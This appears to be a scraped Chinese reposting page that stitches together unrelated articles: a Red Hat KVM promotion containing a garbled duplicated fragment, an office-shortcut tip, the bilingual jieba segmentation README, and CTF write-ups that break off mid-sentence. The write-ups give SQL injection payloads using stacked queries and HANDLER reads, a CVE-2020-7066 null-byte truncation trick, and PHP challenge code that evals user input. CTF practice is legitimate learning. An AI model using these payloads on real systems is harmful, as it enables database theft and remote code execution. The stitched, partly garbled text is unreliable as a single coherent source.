上的运行速度比其他虚拟机监控程序都快。 开源优势：不但能访问源代码，还能灵活地与各种产品集成。 享受 Linux 操作系统的现有功能： 安全防护功能 内存管理 进程调度器 设备驱动程序 网络堆栈 红帽 KVM 企业级虚拟化的优势 选择红帽® 虚拟化，就等于选择了 KVM。红帽虚拟化是一款适用于虚拟化服务器和技术工作站的完整基础架构解决方案。红帽虚拟化基于强大的红帽企业 Linux® 平台和 KVM 构建而成，能让你轻松、敏捷、安全地使用资源密集型虚拟化工作负载。红帽虚拟化可凭借更加优越的性能、具有竞争力的价格和值得信赖的红帽环境，帮助企业优化 IT 基础架构。 红帽的虚拟化产品快速、经济、高效，能够帮助你从容应对当前的挑战，并为未来的技术发展奠定基础。VMware 等供应商提供的纵向扩展虚拟化解决方案不但成本高昂，而且无法帮助企业完成所需的转型，因而难以支持在混合云中运行云原生应用。要转而部署混合云环境，第一步要做的就是摆脱专有虚拟化。 红帽虚拟化包含 sVirt 和安全增强型 Linux（SELinux），是红帽企业 Linux 专为检测和预防当前 IT 环境中的复杂安全隐患而开发的技术。 业完成所需的转型，因而难以支持在混合云中运行云原生应用。要转而部署混合云环境，第一步要做的就是摆脱专有虚拟化。 红帽虚拟化包含 sVirt 和安全增强型 Linux（SELinux），是红帽企业 Linux 专为检测和预防当前 IT 环境中的复杂安全隐患而开发的技术。 借助红帽虚拟化，你可以尽享开源虚拟机监控程序的所有优势，还能获得企业级技术支持、更新和补丁，使你的环境保持最新状态，持续安心运行。开源和 RESTful API，以及 Microsoft Windows 的认证，可帮你实现跨平台的互操作性。提供的 API 和软件开发工具包（SDK）则有助于将我们的解决方案扩展至你现有和首选管理工具，并提供相关支持。 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_34799070/article/details/107900861。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...S用于快速保存为其他格式，Ctrl + Alt + V可调出选择性粘贴对话框等。 最后，针对开发者和IT管理员，学习Visual Studio Code、Git Bash或其他开发环境下的专用快捷键，能够极大地提高编程和管理效率。近期，Visual Studio Code新增了对多光标编辑的支持，配合特定快捷键，可在同一时间内对多个位置进行编辑，大大提升了代码编写速度。 总之，无论您是普通用户还是专业人员，持续关注系统更新动态并深入挖掘各类应用软件的快捷功能，都能助您在数字化工作中不断突破效率瓶颈，实现更加高效流畅的操作体验。

...ation. 特点 支持四种分词模式： 精确模式，试图将句子最精确地切开，适合文本分析； 全模式，把句子中所有的可以成词的词语都扫描出来, 速度非常快，但是不能解决歧义； 搜索引擎模式，在精确模式的基础上，对长词再次切分，提高召回率，适合用于搜索引擎分词。 paddle模式，利用PaddlePaddle深度学习框架，训练序列标注（双向GRU）网络模型实现分词。同时支持词性标注。paddle模式使用需安装paddlepaddle-tiny，pip install paddlepaddle-tiny==1.6.1。目前paddle模式支持jieba v0.40及以上版本。jieba v0.40以下版本，请升级jieba，pip install jieba --upgrade 。PaddlePaddle官网 支持繁体分词 支持自定义词典 MIT 授权协议 安装说明 代码对 Python 2/3 均兼容 全自动安装：easy_install jieba 或者 pip install jieba / pip3 install jieba 半自动安装：先下载 http://pypi.python.org/pypi/jieba/ ，解压后运行 python setup.py install 手动安装：将 jieba 目录放置于当前目录或者 site-packages 目录 通过 import jieba 来引用 如果需要使用paddle模式下的分词和词性标注功能，请先安装paddlepaddle-tiny，pip install paddlepaddle-tiny==1.6.1。 算法 基于前缀词典实现高效的词图扫描，生成句子中汉字所有可能成词情况所构成的有向无环图 (DAG) 采用了动态规划查找最大概率路径, 找出基于词频的最大切分组合 对于未登录词，采用了基于汉字成词能力的 HMM 模型，使用了 Viterbi 算法 主要功能 分词 jieba.cut 方法接受四个输入参数: 需要分词的字符串；cut_all 参数用来控制是否采用全模式；HMM 参数用来控制是否使用 HMM 模型；use_paddle 参数用来控制是否使用paddle模式下的分词模式，paddle模式采用延迟加载方式，通过enable_paddle接口安装paddlepaddle-tiny，并且import相关代码； jieba.cut_for_search 方法接受两个参数：需要分词的字符串；是否使用 HMM 模型。该方法适合用于搜索引擎构建倒排索引的分词，粒度比较细 待分词的字符串可以是 unicode 或 UTF-8 字符串、GBK 字符串。注意：不建议直接输入 GBK 字符串，可能无法预料地错误解码成 UTF-8 jieba.cut 以及 jieba.cut_for_search 返回的结构都是一个可迭代的 generator，可以使用 for 循环来获得分词后得到的每一个词语(unicode)，或者用 jieba.lcut 以及 jieba.lcut_for_search 直接返回 list jieba.Tokenizer(dictionary=DEFAULT_DICT) 新建自定义分词器，可用于同时使用不同词典。jieba.dt 为默认分词器，所有全局分词相关函数都是该分词器的映射。 代码示例 encoding=utf-8import jiebajieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持，早期版本不支持strs=["我来到北京清华大学","乒乓球拍卖完了","中国科学技术大学"]for str in strs:seg_list = jieba.cut(str,use_paddle=True) 使用paddle模式print("Paddle Mode: " + '/'.join(list(seg_list)))seg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 精确模式seg_list = jieba.cut("他来到了网易杭研大厦") 默认是精确模式print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所，后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) 输出: 【全模式】: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学【精确模式】: 我/ 来到/ 北京/ 清华大学【新词识别】：他, 来到, 了, 网易, 杭研, 大厦 (此处，“杭研”并没有在词典中，但是也被Viterbi算法识别出来了)【搜索引擎模式】： 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 添加自定义词典 载入词典 开发者可以指定自己自定义的词典，以便包含 jieba 词库里没有的词。虽然 jieba 有新词识别能力，但是自行添加新词可以保证更高的正确率 用法： jieba.load_userdict(file_name) file_name 为文件类对象或自定义词典的路径 词典格式和 dict.txt 一样，一个词占一行；每一行分三部分：词语、词频（可省略）、词性（可省略），用空格隔开，顺序不可颠倒。file_name 若为路径或二进制方式打开的文件，则文件必须为 UTF-8 编码。 词频省略时使用自动计算的能保证分出该词的词频。 例如： 创新办 3 i云计算 5凱特琳 nz台中 更改分词器（默认为 jieba.dt）的 tmp_dir 和 cache_file 属性，可分别指定缓存文件所在的文件夹及其文件名，用于受限的文件系统。 范例： 自定义词典：https://github.com/fxsjy/jieba/blob/master/test/userdict.txt 用法示例：https://github.com/fxsjy/jieba/blob/master/test/test_userdict.py 之前： 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 / 加载自定义词库后：　李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / 调整词典 使用 add_word(word, freq=None, tag=None) 和 del_word(word) 可在程序中动态修改词典。 使用 suggest_freq(segment, tune=True) 可调节单个词语的词频，使其能（或不能）被分出来。 注意：自动计算的词频在使用 HMM 新词发现功能时可能无效。 代码示例： >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 “通过用户自定义词典来增强歧义纠错能力” — https://github.com/fxsjy/jieba/issues/14 关键词提取 基于 TF-IDF 算法的关键词抽取 import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence 为待提取的文本 topK 为返回几个 TF/IDF 权重最大的关键词，默认值为 20 withWeight 为是否一并返回关键词权重值，默认值为 False allowPOS 仅包括指定词性的词，默认值为空，即不筛选 jieba.analyse.TFIDF(idf_path=None) 新建 TFIDF 实例，idf_path 为 IDF 频率文件 代码示例 （关键词提取） https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py 关键词提取所使用逆向文件频率（IDF）文本语料库可以切换成自定义语料库的路径 用法： jieba.analyse.set_idf_path(file_name) file_name为自定义语料库的路径 自定义语料库示例：https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big 用法示例：https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py 关键词提取所使用停止词（Stop Words）文本语料库可以切换成自定义语料库的路径 用法： jieba.analyse.set_stop_words(file_name) file_name为自定义语料库的路径 自定义语料库示例：https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt 用法示例：https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py 关键词一并返回关键词权重值示例 用法示例：https://github.com/fxsjy/jieba/blob/master/test/extract_tags_with_weight.py 基于 TextRank 算法的关键词抽取 jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=(‘ns’, ‘n’, ‘vn’, ‘v’)) 直接使用，接口相同，注意默认过滤词性。 jieba.analyse.TextRank() 新建自定义 TextRank 实例 算法论文： TextRank: Bringing Order into Texts 基本思想: 将待抽取关键词的文本进行分词 以固定窗口大小(默认为5，通过span属性调整)，词之间的共现关系，构建图 计算图中节点的PageRank，注意是无向带权图 使用示例: 见 test/demo.py 词性标注 jieba.posseg.POSTokenizer(tokenizer=None) 新建自定义分词器，tokenizer 参数可指定内部使用的 jieba.Tokenizer 分词器。jieba.posseg.dt 为默认词性标注分词器。 标注句子分词后每个词的词性，采用和 ictclas 兼容的标记法。 除了jieba默认分词模式，提供paddle模式下的词性标注功能。paddle模式采用延迟加载方式，通过enable_paddle()安装paddlepaddle-tiny，并且import相关代码； 用法示例 >>> import jieba>>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门") jieba默认模式>>> jieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持，早期版本不支持>>> words = pseg.cut("我爱北京天安门",use_paddle=True) paddle模式>>> for word, flag in words:... print('%s %s' % (word, flag))...我 r爱 v北京 ns天安门 ns paddle模式词性标注对应表如下： paddle模式词性和专名类别标签集合如下表，其中词性标签 24 个（小写字母），专名类别标签 4 个（大写字母）。 标签 含义 标签 含义 标签 含义 标签 含义 n 普通名词 f 方位名词 s 处所名词 t 时间 nr 人名 ns 地名 nt 机构名 nw 作品名 nz 其他专名 v 普通动词 vd 动副词 vn 名动词 a 形容词 ad 副形词 an 名形词 d 副词 m 数量词 q 量词 r 代词 p 介词 c 连词 u 助词 xc 其他虚词 w 标点符号 PER 人名 LOC 地名 ORG 机构名 TIME 时间 并行分词 原理：将目标文本按行分隔后，把各行文本分配到多个 Python 进程并行分词，然后归并结果，从而获得分词速度的可观提升 基于 python 自带的 multiprocessing 模块，目前暂不支持 Windows 用法： jieba.enable_parallel(4) 开启并行分词模式，参数为并行进程数 jieba.disable_parallel() 关闭并行分词模式 例子：https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py 实验结果：在 4 核 3.4GHz Linux 机器上，对金庸全集进行精确分词，获得了 1MB/s 的速度，是单进程版的 3.3 倍。 注意：并行分词仅支持默认分词器 jieba.dt 和 jieba.posseg.dt。 Tokenize：返回词语在原文的起止位置 注意，输入参数只接受 unicode 默认模式 result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 搜索模式 result = jieba.tokenize(u'永和服装饰品有限公司', mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh 搜索引擎 引用： from jieba.analyse import ChineseAnalyzer 用法示例：https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py 命令行分词 使用示例：python -m jieba news.txt > cut_result.txt 命令行选项（翻译）： 使用: python -m jieba [options] filename结巴命令行界面。固定参数:filename 输入文件可选参数:-h, --help 显示此帮助信息并退出-d [DELIM], --delimiter [DELIM]使用 DELIM 分隔词语，而不是用默认的' / '。若不指定 DELIM，则使用一个空格分隔。-p [DELIM], --pos [DELIM]启用词性标注；如果指定 DELIM，词语和词性之间用它分隔，否则用 _ 分隔-D DICT, --dict DICT 使用 DICT 代替默认词典-u USER_DICT, --user-dict USER_DICT使用 USER_DICT 作为附加词典，与默认词典或自定义词典配合使用-a, --cut-all 全模式分词（不支持词性标注）-n, --no-hmm 不使用隐含马尔可夫模型-q, --quiet 不输出载入信息到 STDERR-V, --version 显示版本信息并退出如果没有指定文件名，则使用标准输入。 --help 选项输出： $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. 延迟加载机制 jieba 采用延迟加载，import jieba 和 jieba.Tokenizer() 不会立即触发词典的加载，一旦有必要才开始加载词典构建前缀字典。如果你想手工初始 jieba，也可以手动初始化。 import jiebajieba.initialize() 手动初始化（可选） 在 0.28 之前的版本是不能指定主词典的路径的，有了延迟加载机制后，你可以改变主词典的路径: jieba.set_dictionary('data/dict.txt.big') 例子： https://github.com/fxsjy/jieba/blob/master/test/test_change_dictpath.py 其他词典 占用内存较小的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small 支持繁体分词更好的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big 下载你所需要的词典，然后覆盖 jieba/dict.txt 即可；或者用 jieba.set_dictionary('data/dict.txt.big') 其他语言实现 结巴分词 Java 版本 作者：piaolingxue 地址：https://github.com/huaban/jieba-analysis 结巴分词 C++ 版本 作者：yanyiwu 地址：https://github.com/yanyiwu/cppjieba 结巴分词 Rust 版本 作者：messense, MnO2 地址：https://github.com/messense/jieba-rs 结巴分词 Node.js 版本 作者：yanyiwu 地址：https://github.com/yanyiwu/nodejieba 结巴分词 Erlang 版本 作者：falood 地址：https://github.com/falood/exjieba 结巴分词 R 版本 作者：qinwf 地址：https://github.com/qinwf/jiebaR 结巴分词 iOS 版本 作者：yanyiwu 地址：https://github.com/yanyiwu/iosjieba 结巴分词 PHP 版本 作者：fukuball 地址：https://github.com/fukuball/jieba-php 结巴分词 .NET(C) 版本 作者：anderscui 地址：https://github.com/anderscui/jieba.NET/ 结巴分词 Go 版本 作者: wangbin 地址: https://github.com/wangbin/jiebago 作者: yanyiwu 地址: https://github.com/yanyiwu/gojieba 结巴分词Android版本 作者 Dongliang.W 地址：https://github.com/452896915/jieba-android 友情链接 https://github.com/baidu/lac 百度中文词法分析（分词+词性+专名）系统 https://github.com/baidu/AnyQ 百度FAQ自动问答系统 https://github.com/baidu/Senta 百度情感识别系统 系统集成 Solr: https://github.com/sing1ee/jieba-solr 分词速度 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode 测试环境: Intel® Core™ i7-2600 CPU @ 3.4GHz；《围城》.txt 常见问题 1. 模型的数据是如何生成的？ 详见： https://github.com/fxsjy/jieba/issues/7 2. “台中”总是被切成“台 中”？（以及类似情况） P(台中) ＜ P(台)×P(中)，“台中”词频不够导致其成词概率较低 解决方法：强制调高词频 jieba.add_word('台中') 或者 jieba.suggest_freq('台中', True) 3. “今天天气 不错”应该被切成“今天 天气 不错”？（以及类似情况） 解决方法：强制调低词频 jieba.suggest_freq(('今天', '天气'), True) 或者直接删除该词 jieba.del_word('今天天气') 4. 切出了词典中没有的词语，效果不理想？ 解决方法：关闭新词发现 jieba.cut('丰田太省了', HMM=False) jieba.cut('我们中出了一个叛徒', HMM=False) 更多问题请点击：https://github.com/fxsjy/jieba/issues?sort=updated&state=closed 修订历史 https://github.com/fxsjy/jieba/blob/master/Changelog jieba “Jieba” (Chinese for “to stutter”) Chinese text segmentation: built to be the best Python Chinese word segmentation module. Features Support three types of segmentation mode: Accurate Mode attempts to cut the sentence into the most accurate segmentations, which is suitable for text analysis. Full Mode gets all the possible words from the sentence. Fast but not accurate. Search Engine Mode, based on the Accurate Mode, attempts to cut long words into several short words, which can raise the recall rate. Suitable for search engines. Supports Traditional Chinese Supports customized dictionaries MIT License Online demo http://jiebademo.ap01.aws.af.cm/ (Powered by Appfog) Usage Fully automatic installation: easy_install jieba or pip install jieba Semi-automatic installation: Download http://pypi.python.org/pypi/jieba/ , run python setup.py install after extracting. Manual installation: place the jieba directory in the current directory or python site-packages directory. import jieba. Algorithm Based on a prefix dictionary structure to achieve efficient word graph scanning. Build a directed acyclic graph (DAG) for all possible word combinations. Use dynamic programming to find the most probable combination based on the word frequency. For unknown words, a HMM-based model is used with the Viterbi algorithm. Main Functions Cut The jieba.cut function accepts three input parameters: the first parameter is the string to be cut; the second parameter is cut_all, controlling the cut mode; the third parameter is to control whether to use the Hidden Markov Model. jieba.cut_for_search accepts two parameter: the string to be cut; whether to use the Hidden Markov Model. This will cut the sentence into short words suitable for search engines. The input string can be an unicode/str object, or a str/bytes object which is encoded in UTF-8 or GBK. Note that using GBK encoding is not recommended because it may be unexpectly decoded as UTF-8. jieba.cut and jieba.cut_for_search returns an generator, from which you can use a for loop to get the segmentation result (in unicode). jieba.lcut and jieba.lcut_for_search returns a list. jieba.Tokenizer(dictionary=DEFAULT_DICT) creates a new customized Tokenizer, which enables you to use different dictionaries at the same time. jieba.dt is the default Tokenizer, to which almost all global functions are mapped. Code example: segmentation encoding=utf-8import jiebaseg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 默认模式seg_list = jieba.cut("他来到了网易杭研大厦")print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所，后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) Output: [Full Mode]: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学[Accurate Mode]: 我/ 来到/ 北京/ 清华大学[Unknown Words Recognize] 他, 来到, 了, 网易, 杭研, 大厦 (In this case, "杭研" is not in the dictionary, but is identified by the Viterbi algorithm)[Search Engine Mode]： 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 Add a custom dictionary Load dictionary Developers can specify their own custom dictionary to be included in the jieba default dictionary. Jieba is able to identify new words, but you can add your own new words can ensure a higher accuracy. Usage： jieba.load_userdict(file_name) file_name is a file-like object or the path of the custom dictionary The dictionary format is the same as that of dict.txt: one word per line; each line is divided into three parts separated by a space: word, word frequency, POS tag. If file_name is a path or a file opened in binary mode, the dictionary must be UTF-8 encoded. The word frequency and POS tag can be omitted respectively. The word frequency will be filled with a suitable value if omitted. For example: 创新办 3 i云计算 5凱特琳 nz台中 Change a Tokenizer’s tmp_dir and cache_file to specify the path of the cache file, for using on a restricted file system. Example: 云计算 5李小福 2创新办 3[Before]： 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 /[After]：　李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / Modify dictionary Use add_word(word, freq=None, tag=None) and del_word(word) to modify the dictionary dynamically in programs. Use suggest_freq(segment, tune=True) to adjust the frequency of a single word so that it can (or cannot) be segmented. Note that HMM may affect the final result. Example: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 Keyword Extraction import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence: the text to be extracted topK: return how many keywords with the highest TF/IDF weights. The default value is 20 withWeight: whether return TF/IDF weights with the keywords. The default value is False allowPOS: filter words with which POSs are included. Empty for no filtering. jieba.analyse.TFIDF(idf_path=None) creates a new TFIDF instance, idf_path specifies IDF file path. Example (keyword extraction) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py Developers can specify their own custom IDF corpus in jieba keyword extraction Usage： jieba.analyse.set_idf_path(file_name) file_name is the path for the custom corpus Custom Corpus Sample：https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big Sample Code：https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py Developers can specify their own custom stop words corpus in jieba keyword extraction Usage： jieba.analyse.set_stop_words(file_name) file_name is the path for the custom corpus Custom Corpus Sample：https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt Sample Code：https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py There’s also a TextRank implementation available. Use: jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=('ns', 'n', 'vn', 'v')) Note that it filters POS by default. jieba.analyse.TextRank() creates a new TextRank instance. Part of Speech Tagging jieba.posseg.POSTokenizer(tokenizer=None) creates a new customized Tokenizer. tokenizer specifies the jieba.Tokenizer to internally use. jieba.posseg.dt is the default POSTokenizer. Tags the POS of each word after segmentation, using labels compatible with ictclas. Example: >>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门")>>> for w in words:... print('%s %s' % (w.word, w.flag))...我 r爱 v北京 ns天安门 ns Parallel Processing Principle: Split target text by line, assign the lines into multiple Python processes, and then merge the results, which is considerably faster. Based on the multiprocessing module of Python. Usage: jieba.enable_parallel(4) Enable parallel processing. The parameter is the number of processes. jieba.disable_parallel() Disable parallel processing. Example: https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py Result: On a four-core 3.4GHz Linux machine, do accurate word segmentation on Complete Works of Jin Yong, and the speed reaches 1MB/s, which is 3.3 times faster than the single-process version. Note that parallel processing supports only default tokenizers, jieba.dt and jieba.posseg.dt. Tokenize: return words with position The input must be unicode Default mode result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 Search mode result = jieba.tokenize(u'永和服装饰品有限公司',mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh from jieba.analyse import ChineseAnalyzer Example: https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py Command Line Interface $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. Initialization By default, Jieba don’t build the prefix dictionary unless it’s necessary. This takes 1-3 seconds, after which it is not initialized again. If you want to initialize Jieba manually, you can call: import jiebajieba.initialize() (optional) You can also specify the dictionary (not supported before version 0.28) : jieba.set_dictionary('data/dict.txt.big') Using Other Dictionaries It is possible to use your own dictionary with Jieba, and there are also two dictionaries ready for download: A smaller dictionary for a smaller memory footprint: https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small There is also a bigger dictionary that has better support for traditional Chinese (繁體): https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big By default, an in-between dictionary is used, called dict.txt and included in the distribution. In either case, download the file you want, and then call jieba.set_dictionary('data/dict.txt.big') or just replace the existing dict.txt. Segmentation speed 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode Test Env: Intel® Core™ i7-2600 CPU @ 3.4GHz；《围城》.txt 本篇文章为转载内容。原文链接：https://blog.csdn.net/yegeli/article/details/107246661。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...在oracle 缺省支持 通过 || 来实现字符串拼接，但在mysql 缺省不支持 需要调整mysql 的sql_mode 模式：pipes_as_concat 来实现oracle 的一些功能。 这个意思是在oracle中 || 是作为字符串拼接，而在mysql中是运算符。 当设置sql_mode为pipes_as_concat的时候，mysql也可以把 || 作为字符串拼接。 修改完后，|| 就会被认为是字符串拼接符 MySQL中sql_mode参数，具体的看这里 解题思路1： payload：,1 查询语句：select ,1||flag from Flag 解题思路2： 堆叠注入，使得sql_mode的值为PIPES_AS_CONCAT payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 解析： 在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。但在mysql 缺省不支持。需要调整mysql 的sql_mode模式：pipes_as_concat 来实现oracle 的一些功能。 flag出来了 头秃 不是很懂 看了好多的wp… [GYCTF2020]Blacklist 进入题目链接 1.注入：1’ 为'闭合 2.看字段：1' order by 2 确认字段为2 3.查看回显:1’ union select 1,2 发现过滤字符 与上面的随便注很像 ，太像了，增加了过滤规则。 修改表名和set均不可用，所以很直接的想到了handler语句。 4.但依旧可以用堆叠注入获取数据库名称、表名、字段。 1';show databases 获取数据库名称1';show tables 获取表名1';show columns from FlagHere ; 或 1';desc FlagHere; 获取字段名 5.接下来用 handler语句读取内容。 1';handler FlagHere open;handler FlagHere read first 直接得到 flag 成功解题。 flag{d0c147ad-1d03-4698-a71c-4fcda3060f17} 补充handler语句相关。 mysql除可使用select查询表中的数据，也可使用handler语句 这条语句使我们能够一行一行的浏览一个表中的数据，不过handler语句并不 具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中 [GKCTF2020]cve版签到 查看提示 菜鸡的第一步 提示了：cve-2020-7066 赶紧去查了一下 cve-2020-7066PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。 描述在低于7.2.29的PHP版本7.2.x，低于7.3.16的7.3.x和低于7.4.4的7.4.x中，将get_headers（）与用户提供的URL一起使用时，如果URL包含零（\ 0）字符，则URL将被静默地截断。这可能会导致某些软件对get_headers（）的目标做出错误的假设，并可能将某些信息发送到错误的服务器。 利用方法 总的来说也就是get_headers()可以被%00截断 进入题目链接 知识点： cve-2020-7066利用 老套路：先F12查看源码 发现提示：Flag in localhost 根据以上 直接上了 直接截断 因为提示host必须以123结尾，这个简单 所以需要将localhost替换为127.0.0.123 成功得到flag flag{bf1243d2-08dd-44ee-afe8-45f58e2d6801} GXYCTF2019禁止套娃 考点： .git源码泄露 无参RCE localeconv() 函数返回一包含本地数字及货币格式信息的数组。scandir() 列出 images 目录中的文件和目录。readfile() 输出一个文件。current() 返回数组中的当前单元, 默认取第一个值。pos() current() 的别名。next() 函数将内部指针指向数组中的下一个元素，并输出。array_reverse()以相反的元素顺序返回数组。highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。 具体细节，看这里 进入题目链接 上御剑扫目录 发现是.git源码泄露 上githack补全源码 得到源码 <?phpinclude "flag.php";echo "flag在哪里呢？<br>";if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦！");} }else{die("再好好想想！");} }else{die("还想读flag，臭弟弟！");} }// highlight_file(__FILE__);?> 既然getshell基本不可能，那么考虑读源码 看源码，flag应该就在flag.php 我们想办法读取 首先需要得到当前目录下的文件 scandir()函数可以扫描当前目录下的文件，例如： <?phpprint_r(scandir('.'));?> 那么问题就是如何构造scandir('.') 这里再看函数： localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是. current() 返回数组中的当前单元, 默认取第一个值。 pos() current() 的别名。 这里还有一个知识点： current(localeconv())永远都是个点 那么就很简单了 